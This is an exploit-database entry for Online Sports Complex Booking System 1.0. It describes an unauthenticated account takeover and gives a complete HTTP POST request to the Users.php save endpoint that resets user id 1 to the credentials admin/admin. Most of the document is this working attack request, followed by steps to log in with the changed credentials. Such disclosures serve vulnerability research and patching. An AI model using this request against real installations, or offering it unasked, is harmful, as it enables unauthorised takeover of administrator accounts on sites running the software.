Exploit for Online Sports Complex Booking System 1.0 Account Takeover

## https://sploitus.com/exploit?id=PACKETSTORM:166423
# Exploit Title: Online Sports Complex Booking System - Account Takeover (Unauthenticated)   
# Date: 24/03/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html  
# Version: 1.0  
# Tested on: XAMPP, Linux  
  
  
# Description :  
  
Online Sports Complex Booking System is vulnerable to unauthenticated account takeover.  
An attacker can takeover any registered 'Staff' user account by just sending below POST request  
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters  
  
# Steps to Reproduce :  
  
1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" parameters.  
  
2. Go to http://localhost/scbs/admin/ and Log in to the user account by changed username and password  
  
  
======  
  
POST /scbs/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------11619114222641896828949561514  
Content-Length: 811  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/scbs/admin/?page=user  
Cookie: PHPSESSID=2knksvuc4mgojfd9enhccg08sn  
  
-----------------------------11619114222641896828949561514  
Content-Disposition: form-data; name="id"  
  
1  
-----------------------------11619114222641896828949561514  
Content-Disposition: form-data; name="firstname"  
  
Adminstrator  
-----------------------------11619114222641896828949561514  
Content-Disposition: form-data; name="lastname"  
  
Admin  
-----------------------------11619114222641896828949561514  
Content-Disposition: form-data; name="username"  
  
admin  
-----------------------------11619114222641896828949561514  
Content-Disposition: form-data; name="password"  
  
admin  
-----------------------------11619114222641896828949561514  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------11619114222641896828949561514--